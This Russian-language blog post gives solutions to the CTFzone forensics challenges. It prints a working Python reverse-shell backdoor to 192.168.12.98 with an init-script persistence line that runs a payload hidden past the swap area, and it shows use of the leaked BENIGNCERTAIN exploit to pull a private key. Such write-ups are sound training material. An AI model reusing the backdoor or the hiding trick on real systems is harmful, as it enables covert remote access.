Прошло несколько дней после окончания CTFzone от компании BI.ZONE, а наши смартфоны до сих пор разрываются от уведомлений Telegram – чат с участниками битвы после конференции стал еще более оживленным. По отзывам игроков, многие задания CTFzone были очень нестандартными и действительно непростыми. Во время соревнования мы пообещали участникам, что, как только наши разработчики отоспятся и придут в себя, мы выложим райтапы для всех заданий в нашем блоге.
Начнем мы с направления Forensics, и в этой статье представляем вам решения на все таски – от задания на 50 до 1000. Мы знаем, что hackzard опередил нас и уже выложил райтапы к заданиям на 50 и 100, но с более крутыми тасками будет сложнее ;)
Forensics 50 — PCAP master
A.U.R.O.R.A.: Lieutenant, how do you read me? You’ve intercepted the traffic between the command server and the pilot’s computer. Try to get the password from this traffic.
Решение:
В этом задании участнику предоставлялся PCAP дамп трафика.
Как вы уже поняли, задание было очень простым, и его можно было решить в одну строку:
Команда:
strings -t x task_forensics_50.pcap | grep "pass"
Результат:
7e6 GET /?pass=ctfzone{b1@ckduck} HTTP/1.1
Ответ: ctfzone{b1@ckduck}
Forensics 100 — Master of Strings
A.U.R.O.R.A.: Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U.R.O.R.A. is speaking and it’s time you stopped sleeping at your workplace. You can’t idle your time anymore as the whole world might go down the drain unless, well… Let's say it’s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!
Участнику предоставляется образ оперативной памяти, который был снят в момент входа в контрольную панель управления космическим кораблем:
Решение:
В первую очередь необходимо было извлечь все строки, которые содержат «pass=».
Команда:
strings -t x task_forensics_100.ram | grep --color "pass="
Результат:
Скрытый текст
94e1fa0 trovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
1082e5c5 <settings pass="windowsPE" wasPassProcessed="true">
127c5776 pass="specialize"/>
155c83e8 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
155c8828 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
194c7e58 <settings pass="
1e11d387 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
В результате получаем пароль «LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3Dс», но в данном случае он чем-то обфусцирован (base64 сразу видно). Далее следовало найти страничку панели администрирования, которая осталась в памяти:
Команда:
strings -t x task_forensics_100.ram | grep --color "<html>"
Результат:
12f8240 <html>
9bff780 <html>
16934d20 <html>
1b8ff4bd <html>
1bc5c2c8 <html>
1ed8f145 <html>
Если обратиться по смещению «12f8240», то можно обнаружить html-страничку:
Скрытый текст
<html>
<head><title>Spaceship Panel</title></head>
<style>
body {
background-color: #2A191E;
background-image: url(bd.png);
background-repeat: no-repeat;
background-size: 100%;
}
form {
width: 300px;
margin: 0 auto;
}
</style>
<script language="javascript" type="text/javascript">
function Magic(beard,water) {
var ord = []
var buf = ""
for (z = 1; z <= 255; z++) {ord[String.fromCharCode(z)] = z}
for (j = z = 0; z < beard.length; z++) {
buf += String.fromCharCode(ord[beard.substr(z, 1)] ^ ord[water.substr(j, 1)])
j = (j < water.length) ? j + 1 : 0} return buf }
function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);}));}
function doLogin(){
$a = document.myform.pass.value;
document.myform.pass.value = b64EncodeUnicode(Magic($a,"MagicKey"));
document.myform.submit(); }
</script>
</head>
<body>
<center>
<div class="center">
<form name = 'myform' action = '#' method = 'post'>
<input id="login" name = "login" placeholder="Login" /><br>
<input id="pass" name = "pass" placeholder="Password" /><br>
<input onClick="doLogin(); return true;" type="submit" value="Login"> </div>
</center>
</body>
</html>
Из содержимого страницы видно, что перед отправкой пароля осуществляется преобразование функцией Magic(beard,water), которая представляет собой операцию XOR на базе ключа «MagicKey», а далее идет преобразование в base64. Далее декодируем пароль «LhUBEwwlAAJZIhQmGwYYAAF5MA==»:
Скрытый текст
<html>
<script language="javascript" type="text/javascript">
function Magic(beard,water) {
var ord = []
var buf = ""
for (z = 1; z <= 255; z++) {ord[String.fromCharCode(z)] = z}
for (j = z = 0; z < beard.length; z++) {
buf += String.fromCharCode(ord[beard.substr(z, 1)] ^ ord[water.substr(j, 1)])
j = (j < water.length) ? j + 1 : 0} return buf }
function b64DecodeUnicode(str) {
return decodeURIComponent(Array.prototype.map.call(atob(str), function(c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);}).join(''));}
var goo = Magic(b64DecodeUnicode("LhUBEwwlAAJZIhQmGwYYAAF5MA=="), "MagicKey");
alert(goo);
</script>
</html>
Задание содержало чит (спасибо hackzard), которым можно было воспользоваться с помощью утилиты «strings.exe» из sysinternals.
Ответ: ctfzone{YouAreSexy}
Forensics 300 — Unlock Your Mind Power
A.U.R.O.R.A.: Lieutenant, looks like you are locked in the room. You don’t want to stay here forever, do you? In order to open the door you should enter the code which was used to lock it. I’ll give you a clue — you see a terminal over there? There is a diary next to the terminal which belongs to astronaut Nyota. It says that the door is connected to the control console. After Varvara locked the door, service engineer tinkered with this terminal. Examine this terminal and find a memory dump which may help you to find the right code. Good luck, Lieutenant, see you on the other side!
Решение:
Участнику предоставляется образ оперативной памяти. Решение задачи предполагалось начать с помощью утилиты «Volatility Forensics», а именно получить список процессов:
./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 pslist
Результат:
Скрытый текст
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x851c9020 System 4 0 81 529 ------ 0 2016-11-09 13:40:52 UTC+0000
0x865a7ae0 smss.exe 240 4 2 29 ------ 0 2016-11-09 13:40:52 UTC+0000
0x86c474c8 csrss.exe 328 320 9 474 0 0 2016-11-09 13:41:00 UTC+0000
0x86e1fd40 csrss.exe 368 360 9 226 1 0 2016-11-09 13:41:03 UTC+0000
0x87029d40 wininit.exe 376 320 3 75 0 0 2016-11-09 13:41:03 UTC+0000
0x8704d2b8 winlogon.exe 412 360 6 113 1 0 2016-11-09 13:41:03 UTC+0000
0x870a8d40 services.exe 472 376 9 221 0 0 2016-11-09 13:41:04 UTC+0000
0x87090030 lsass.exe 496 376 8 645 0 0 2016-11-09 13:41:07 UTC+0000
0x87098d40 lsm.exe 504 376 11 205 0 0 2016-11-09 13:41:07 UTC+0000
0x87104d40 svchost.exe 600 472 12 360 0 0 2016-11-09 13:41:07 UTC+0000
0x870cbb20 svchost.exe 668 472 7 271 0 0 2016-11-09 13:41:08 UTC+0000
0x871076c8 svchost.exe 720 472 20 452 0 0 2016-11-09 13:41:08 UTC+0000
0x871556c8 svchost.exe 824 472 19 442 0 0 2016-11-09 13:41:08 UTC+0000
0x87163b18 svchost.exe 852 472 37 1034 0 0 2016-11-09 13:41:08 UTC+0000
0x87173878 audiodg.exe 916 720 7 132 0 0 2016-11-09 13:41:09 UTC+0000
0x871a66c8 svchost.exe 1004 472 15 526 0 0 2016-11-09 13:41:09 UTC+0000
0x871c6030 svchost.exe 1112 472 23 519 0 0 2016-11-09 13:41:12 UTC+0000
0x871e4d40 spoolsv.exe 1228 472 13 319 0 0 2016-11-09 13:41:13 UTC+0000
0x87222d40 svchost.exe 1268 472 19 316 0 0 2016-11-09 13:41:13 UTC+0000
0x87270278 vmicsvc.exe 1364 472 8 106 0 0 2016-11-09 13:41:13 UTC+0000
0x87282558 vmicsvc.exe 1396 472 6 128 0 0 2016-11-09 13:41:13 UTC+0000
0x8729b030 vmicsvc.exe 1424 472 4 66 0 0 2016-11-09 13:41:13 UTC+0000
0x8729e4a0 vmicsvc.exe 1452 472 5 80 0 0 2016-11-09 13:41:13 UTC+0000
0x87287648 vmicsvc.exe 1476 472 5 81 0 0 2016-11-09 13:41:13 UTC+0000
0x872e68f0 taskhost.exe 1624 472 9 152 1 0 2016-11-09 13:41:14 UTC+0000
0x87311030 vmtoolsd.exe 1740 472 10 283 0 0 2016-11-09 13:41:15 UTC+0000
0x873176c8 dwm.exe 1816 824 6 71 1 0 2016-11-09 13:41:16 UTC+0000
В списке процессов можно выделить «mstsc.exe» – RDP клиент ОС «Windows». Сделаем дамп памяти этого процесса (всей выделенной памяти, а не только исполняемого файла):
Команда:
./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 memdump -p 2800 -D /tmp/
Результат:
Writing mstsc.exe [ 2800] to 2800.dmp
Теперь следовало бы поискать интересные строки в полученном дампе, но ничего интересного из строк извлечь не удастся, поэтому перейдем сразу к следующему шагу. Попробуем восстановить картинку из RDP сеанса. При поиске в google «rdp image from memory» можно найти блог extracting raw pictures from memory, в котором описывается восстановление картинки из процесса mstsc.exe c помощью GIMP. Идея проста – mstsc.exe хранит в своей памяти картинку (в RAW формате) с удаленного компьютера. С помощью режима предпросмотра GIMP эту картинку можно увидеть, но для этого нужно правильно подобрать разрешение картинки, иначе она будет выглядеть как шум. На самом деле разрешение картинки должно совпадать с разрешением монитора, а для того, чтобы отличить картинку от шума, достаточно выставить ширину таким образом, чтобы она являлась делителем истинной ширины картинки, а высоту выбрать любой. Мы пробовали сначала использовать разрешение 640 пикселей и нашли картинку:
Скрытый текст
Очевидно, что в этой секции данных файла находится картинка, но разрешение подобрано неверно. Попробуем 1280:
Скрытый текст
Еще лучший эффект достигается при небольшой подстройке:
Вот и флаг!
Ответ: ctfzone{7H3_p0w3r_0F_1mAG1Na710N}
Forensics 500 — Infected System
A.U.R.O.R.A.: Lieutenant, system is infected, system is infected, system may be compromised! Lieutenant, what’s happ...
Решение:
Очень многие путают понятия «раздел» и «файловая система». Задание на 500 очков как раз про такой случай. В образе имеется таблица разделов DOS с двумя логическими разделами – Linux, содержащий файловую систему Ext4, и Linux Swap, содержащий область подкачки. Если примонтировать файловую систему Ext4, то в ней легко заметить файлы операционной системы Ubuntu 16.04.1 LTS. Собственно, на этом простая часть заканчивается и начинается сложная.
Что произошло с системой – неизвестно, какие-либо обстоятельства произошедшего покрыты тайной. В результате поиска можно найти файл /etc/init.d/apache2, в котором есть довольно подозрительная строка:
/usr/sbin/mkinitrd read | base64 -d | python &
Если внимательно прочитать текст скрипта, эта строка выполняется всегда при старте сервиса apache2. В файле /usr/sbin/mkinitrd легко найти код, отвечающий за чтение данных с устройства /dev/sda5 (а это раздел Linux Swap) по смещению 966795264:
Скрытый текст
#!/bin/sh
[ $# -eq 1 ] || exit 1
check_dep()
{
cmd="$1"
command -v "$cmd" > /dev/null 2> /dev/null
}
check_dd() # we don't want to use old versions of dd
{
dd if=/dev/zero of=/dev/null skip=1 count=1 iflag=skip_bytes 2> /dev/null
ec=$?
[ $ec -eq 0 ]
}
check_dep dd && check_dd || exit 3
device="/dev/sda5"
offset="966795264"
operation="$1"
if [ "$operation" = 'write' ]; then
dd of="$device" seek="$offset" oflag=seek_bytes 2> /dev/null
elif [ "$operation" = 'read' ]; then
dd if="$device" skip="$offset" iflag=skip_bytes 2> /dev/null
else
exit 2
fi
Если прочитать по указанному смещению данные с устройства /dev/sda5, а затем декодировать их из Base64, то перед глазами предстанет скрипт, написанный на Python, который предоставляет backconnect-шелл узлу 192.168.12.98 (порт 31338):
Скрытый текст
#!/usr/bin/env python
import socket, subprocess, os
HOST_PORT = ('192.168.12.98', 31338)
FLAG = 'ctfzone{pwn3d-by-ns4_31337}'
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
errno = s.connect_ex(HOST_PORT)
except Exception:
continue
if errno == 0:
break
b_size = len(FLAG)
b = bytearray(b_size)
s.recv_into(b, b_size)
if str(b) == FLAG:
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
s.close()
Перед предоставлением шелла скрипт проверяет полученный от сервера пароль, который и является флагом. Как же обеспечивается работа этого скрипта, если он размещен в разделе с областью подкачки? Размер самого раздела – 1071644672 байта, а раздел области подкачки в этом разделе – 236031 страница, каждая страница имеет размер 4096 байт, итого 966782976 байт. В результате мы имеем 104861696 байт (около 100 мегабайт) между концом области подкачки и концом раздела, в котором эта область хранится, которые ничем, кроме бекдора, не используются. Соответственно, в этой области можно хранить данные, которые не будут затерты менеджером памяти в процессе подкачки.
Ответ: ctfzone{pwn3d-by-ns4_31337}
Forensics 1000 — Have I been pwned?
Captain Picard: Lieutenant, be careful, Big Brother is watching you…
Решение:
Участнику предоставляется PCAP дамп траффика. Задания на 1000 готовились с особым трепетом, так как нам хотелось подготовить что-нибудь интересное и актуальное. Для направления Forensics было решено подготовить задание с учетом недавней утечки эксплоита BENIGNCERTAIN под CISCO PIX. В ходе эксплуатации BENIGNCERTAIN удается получить огромную часть конфигурации CISCO PIX, которая включает приватные ключи, позволяющие расшифровать трафик.
Для начала необходимо найти пакеты протокола ISAKMP:
Пакет от 10.1.3.52, представляет собой payload, который был сгенерировал с помощью «bc-genpkt»:
А вот пакет от узла «10.1.2.12» представляет собой часть конфигурации, которую отдает PIX в результате эксплуатации уязвимости:
Очевидно, что нас интересует пакет, который идет от CISCO PIX, т.к. он содержит «Private Key». Сохраняем ISAKMP пакет, который идет от 10.1.2.12 в формате «raw», и передаем его в качестве аргумента утилите «bc-parser», которая идет в комплекте с EquationGroupLeak.
Команда:
./bc-parser packet.raw
Результат:
bc-parser
BENIGNCERTAIN parser v1.0
Parsing file packet
Possible PIX version(s):
Cisco PIX 6.3(4)
*** Couldn't determine interface used by BENIGNCERTAIN ***
=======================================================================
Stack separator structure at offset 0x0254, size 0x98 bytes:
=======================================================================
ISAKMP enable structure at offset 0x02ec, size 0x218 bytes:
*** ISAKMP enabled on 1 interface ***
=======================================================================
Unknown structure at offset 0x0504, size 0x30 bytes:
=======================================================================
ISAKMP policy structure at offset 0x0534, size 0x38 bytes (1 of at least 1 policies):
Priority: 0x000a [10]
Cipher: 0x0007 [AES]
AES keysize: 0x0100 [256-bits]
Auth: 0x0003 [RSA signature]
Hash: 0x0002 [SHA]
Group: 0x0002 [1024-bit]
Lifetime: 0x00015180 [86400 seconds]
=======================================================================
VPN group structure at offset 0x056c, size 0x600 bytes (1 of 1 groups):
Group name: 12345
Pool name: vpnpool1
Domain name: spaceship.ctf
Password: 12345
Primary DNS: 192.168.7.1
Primary WINS: 192.168.7.1
Idle-time: 0x00000708 [1800 seconds]
=======================================================================
Unknown structure at offset 0x0b6c, size 0x28 bytes:
String: listen/ssh_0
=======================================================================
Per-thread stack structure at offset 0x0b94, size 0x818 bytes:
*** Target allows SSH access (on port 22) ***
*** on the outside interface ***
*** Couldn't determine the interface used by BC ***
=======================================================================
Stack separator structure at offset 0x13ac, size 0x98 bytes:
=======================================================================
IP/netmask structure at offset 0x1444, size 0x30 bytes:
IP Address: 10.0.0.0
Netmask: 255.0.0.0
IP/netmask probably associated with preceding thread
=======================================================================
Unknown structure at offset 0x1474, size 0x30 bytes:
=======================================================================
Unknown structure at offset 0x14a4, size 0x40 bytes:
=======================================================================
Hostname structure at offset 0x14e4, size 0x30 bytes:
Possible hostname: privateVPN.spaceship.ctf
=======================================================================
RSA private key structure at offset 0x1514, size 0x4d8 bytes:
*** Found probable RSA private key ***
To validate the RSA key using 'openssl':
openssl rsa -inform DER -text -noout -check \
-in packet.rsa_priv_1.der
=======================================================================
RSA public key structure at offset 0x19ec, size 0x140 bytes:
*** Found probable RSA public key ***
To validate the RSA key using 'openssl':
openssl rsa -inform DER -text -noout -pubin \
-in packet.rsa_pub_1.der
=======================================================================
*** Partial structure at offset 0x1b2c (0x86c of 0x2018 bytes):
[Not parsed]
=======================================================================
<<<<>>>>
Parsing file packet
Possible PIX version(s):
Cisco PIX 6.3(4)
*** Couldn't determine interface used by BENIGNCERTAIN ***
=======================================================================
Stack separator structure at offset 0x0254, size 0x98 bytes:
=======================================================================
ISAKMP enable structure at offset 0x02ec, size 0x218 bytes:
*** ISAKMP enabled on 1 interface ***
=======================================================================
Unknown structure at offset 0x0504, size 0x30 bytes:
=======================================================================
ISAKMP policy structure at offset 0x0534, size 0x38 bytes (1 of at least 1 policies):
Priority: 0x000a [10]
Cipher: 0x0007 [AES]
AES keysize: 0x0100 [256-bits]
Auth: 0x0003 [RSA signature]
Hash: 0x0002 [SHA]
Group: 0x0002 [1024-bit]
Lifetime: 0x00015180 [86400 seconds]
=======================================================================
VPN group structure at offset 0x056c, size 0x600 bytes (1 of 1 groups):
Group name: 12345
Pool name: vpnpool1
Domain name: spaceship.ctf
Password: 12345
Primary DNS: 192.168.7.1
Primary WINS: 192.168.7.1
Idle-time: 0x00000708 [1800 seconds]
=======================================================================
Unknown structure at offset 0x0b6c, size 0x28 bytes:
String: listen/ssh_0
=======================================================================
Per-thread stack structure at offset 0x0b94, size 0x818 bytes:
*** Target allows SSH access (on port 22) ***
*** on the outside interface ***
*** Couldn't determine the interface used by BC ***
=======================================================================
Stack separator structure at offset 0x13ac, size 0x98 bytes:
=======================================================================
IP/netmask structure at offset 0x1444, size 0x30 bytes:
IP Address: 10.0.0.0
Netmask: 255.0.0.0
IP/netmask probably associated with preceding thread
=======================================================================
Unknown structure at offset 0x1474, size 0x30 bytes:
=======================================================================
Unknown structure at offset 0x14a4, size 0x40 bytes:
=======================================================================
Hostname structure at offset 0x14e4, size 0x30 bytes:
Possible hostname: privateVPN.spaceship.ctf
=======================================================================
RSA private key structure at offset 0x1514, size 0x4d8 bytes:
*** Found probable RSA private key ***
To validate the RSA key using 'openssl':
openssl rsa -inform DER -text -noout -check \
-in packet.rsa_priv_1.der
=======================================================================
RSA public key structure at offset 0x19ec, size 0x140 bytes:
*** Found probable RSA public key ***
To validate the RSA key using 'openssl':
openssl rsa -inform DER -text -noout -pubin \
-in packet.rsa_pub_1.der
=======================================================================
*** Partial structure at offset 0x1b2c (0x86c of 0x2018 bytes):
[Not parsed]
=======================================================================
<<<<>>>>
Смотрим содержимое DER:
Команда:
openssl rsa -inform DER -text -in packet.rsa_priv_1.der
Результат:
Скрытый текст
Private-Key: (2048 bit)
modulus:
00:cc:33:bf:61:d5:c3:06:cd:4f:49:25:39:81:d1:
39:31:be:38:87:27:b6:98:a8:64:cd:af:3c:0f:7a:
25:dd:da:36:f3:f4:13:44:dc:13:10:5d:61:83:d9:
74:00:78:18:54:04:a2:57:f5:22:8b:3d:a5:20:c2:
06:c4:76:f7:25:b2:3a:cc:ef:61:98:87:b7:40:d5:
0f:ce:1e:b5:16:b2:af:62:80:0b:04:fc:f0:f8:e1:
23:fa:ed:30:2a:4d:8c:59:11:bf:0a:08:f5:ae:58:
2e:93:8e:03:cd:c3:05:e6:7d:18:29:1f:4a:4c:6b:
e6:3d:71:21:ba:a5:bb:6f:80:fd:58:6b:54:13:89:
d3:ea:82:45:eb:7a:94:c6:db:44:3a:b7:be:8e:09:
0a:65:7b:37:06:95:5e:fa:82:d4:17:dd:63:37:e3:
b4:68:ca:f9:fc:26:46:26:5c:1f:32:73:50:9b:1a:
ab:a3:42:32:8b:8f:66:b8:9b:b8:62:95:7b:03:9e:
33:b9:5e:42:df:b8:d6:a5:b7:2a:ec:1b:78:d0:51:
47:8c:df:d0:48:a7:28:bc:99:53:15:03:43:46:83:
fb:8b:b8:19:73:e9:b0:35:49:ce:e4:a0:c4:74:17:
c9:19:b0:e7:68:41:27:a4:2a:99:9b:2b:6d:d9:ca:
78:1d
publicExponent: 65537 (0x10001)
privateExponent:
56:2b:13:fc:6d:de:b1:55:1b:ba:ea:f9:5c:5d:74:
7c:18:1f:f4:70:7e:ad:e6:89:3a:fe:52:22:d9:d1:
76:cf:a9:56:c2:4d:0b:46:ae:c8:be:0e:f3:3b:64:
a6:fa:06:92:15:ae:87:dd:4a:69:65:66:f3:ee:cc:
3a:45:55:3f:53:f9:5a:17:3d:a0:c6:cc:3e:90:69:
ed:f9:a9:42:dd:be:02:9b:b3:8a:b4:4d:df:47:ea:
0d:ed:de:e0:4a:ff:09:6a:e2:a9:92:64:51:e0:a6:
2e:df:c3:9d:25:49:ad:1c:66:80:9b:d2:97:73:04:
a2:32:c6:1f:e3:e5:b7:43:fe:54:74:00:58:6b:50:
10:00:e2:6f:4b:88:d0:11:44:e8:fa:d4:ae:63:35:
4f:df:26:fe:4a:40:5a:3e:b4:81:a3:cb:45:67:46:
a7:46:b9:98:94:71:63:61:e1:61:e7:e0:c1:40:0c:
78:d8:d7:5a:87:af:6f:f8:af:91:bb:dd:9c:51:ec:
2f:a3:c4:fb:cc:76:39:88:03:d2:53:87:78:45:15:
c4:c7:9f:93:6b:29:cb:40:c9:8f:97:ff:43:dc:8e:
48:fa:36:22:06:78:bb:cd:83:e9:75:89:8a:50:ff:
22:32:71:72:b1:d3:51:97:13:d0:a1:0e:f4:c6:58:
e5
prime1:
00:fb:1c:cf:52:34:81:ec:db:cc:7a:b1:62:70:15:
e0:2d:de:35:21:60:12:29:da:5f:b4:25:21:33:0f:
8a:14:33:f7:ee:03:59:9e:5c:d1:e5:5f:86:18:59:
05:b4:67:29:49:a8:74:da:94:f1:ff:25:96:61:a8:
18:67:c9:d7:01:f8:51:ba:12:f0:41:1a:03:44:21:
e8:3d:2c:6b:9e:06:0b:9f:0d:b3:aa:24:72:7b:87:
c8:86:94:bd:1e:36:c7:03:03:5b:81:df:81:ac:00:
ea:18:d5:b7:f0:3a:ab:48:aa:81:a1:4f:b0:77:d1:
01:c6:c9:f3:d9:1e:93:7c:0f
prime2:
00:d0:2d:33:dc:0f:e4:5c:5e:0f:97:54:bc:6a:61:
8e:43:64:da:64:25:4a:aa:0c:14:6b:f4:da:a1:62:
2e:84:1b:1a:0e:73:9e:c6:59:4f:9d:87:2d:54:22:
f8:86:c5:3d:f3:33:9f:b3:4b:bf:9f:d9:52:a2:e3:
8a:ad:a7:0d:1b:6d:5e:ed:c5:dd:da:3b:12:d5:e5:
62:1c:42:f9:7a:0e:a5:d6:51:db:31:a8:19:c8:85:
05:7b:4e:1d:68:09:5c:9f:9d:74:1f:46:4f:33:6b:
ec:1d:0a:aa:68:dd:2c:77:aa:8d:9d:44:5d:ca:cb:
af:7a:e8:34:05:5a:3c:8d:13
exponent1:
49:66:f9:7f:49:13:f5:7d:a6:7e:f2:dd:18:70:7c:
90:4b:d4:f2:05:98:29:9d:c8:bd:ea:e0:92:81:67:
56:52:7e:95:97:6b:19:ec:7d:fa:73:7a:ca:21:33:
96:b1:55:13:4f:e7:a0:81:4b:5f:ce:c7:ef:91:e8:
58:66:5a:b0:1b:bb:20:0e:2b:26:8c:89:09:e0:73:
77:76:45:9a:f2:9f:71:05:db:4f:cf:c9:9b:2c:6c:
c4:52:34:19:e1:df:38:95:41:a9:6c:01:06:9b:59:
d2:9a:9e:62:dd:73:76:11:49:45:32:fb:1d:7a:fd:
ee:f2:d7:91:ce:eb:43:a7
exponent2:
00:a3:95:d1:b9:ac:b7:4b:2a:12:e0:5d:12:ce:19:
a8:fc:26:85:42:ca:d7:18:36:f3:d9:3d:88:8b:e6:
a6:1c:e3:5b:1f:5e:15:b7:51:b9:31:55:66:f6:45:
a0:bb:ee:c4:d6:96:8b:79:0e:1e:1f:93:5b:cf:6a:
34:b0:6e:a3:eb:18:8f:cf:12:7c:5a:1f:af:96:6b:
71:24:3a:30:e6:8c:1a:1f:07:25:d2:a8:80:d2:44:
4d:61:6e:a9:c6:f6:0c:55:d5:19:c9:f5:ab:09:02:
56:81:1f:bf:77:35:cd:da:9f:28:37:1b:e1:04:19:
f8:e4:01:11:d7:de:e7:d4:07
coefficient:
1c:e6:21:67:a7:de:0e:64:c5:b1:4b:15:37:d2:d2:
2b:ad:c0:2a:c9:c5:6d:61:13:75:99:a9:c2:5b:6e:
b5:cc:ad:25:62:ad:d4:58:92:c4:6c:cd:94:7d:a9:
d4:65:f3:48:91:7d:aa:d7:73:57:b8:0e:a0:68:e5:
a5:4a:48:96:1e:25:90:ff:fb:94:88:8e:2d:4d:69:
b5:55:7e:c1:d9:60:2d:e1:bc:a1:01:27:f6:82:e0:
64:a9:6b:62:4b:95:1a:67:a9:78:28:be:dd:b5:b6:
dd:9b:67:ae:13:0f:51:3a:77:c3:f5:d8:0a:22:44:
68:ea:04:b1:85:79:ed:38
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88D3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61FrKvYoAL
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqW7b4D9WGtU
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7Bt40FFHjN/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4HQIDAQABAoIBAFYrE/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3uBK/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qHr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftCUhMw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngYLnw2zqiRy
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zOf
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lHbMagZyIUFe04daAlcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0BVo8jRMCgYBJZvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rKITOWsVUTT+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mbLGzEUjQZ4d84lUGpbAEGm1nSmp5i3XN2
EUlFMvsdev3u8teRzutDpwKBgQCjldG5rLdLKhLgXRLOGaj8JoVCytcYNvPZPYiL
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5Dh4fk1vPajSwbqPrGI/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asJAlaBH793Nc3anyg3G+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwCrJxW1hE3WZqcJbbrXMrSVirdRYksRs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYeJZD/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8P12AoiRGjqBLGFee04
-----END RSA PRIVATE KEY-----
Нам нужен только ключ:
Скрытый текст
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88D3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61FrKvYoAL
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqW7b4D9WGtU
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7Bt40FFHjN/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4HQIDAQABAoIBAFYrE/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3uBK/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qHr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftCUhMw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngYLnw2zqiRy
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zOf
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lHbMagZyIUFe04daAlcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0BVo8jRMCgYBJZvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rKITOWsVUTT+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mbLGzEUjQZ4d84lUGpbAEGm1nSmp5i3XN2
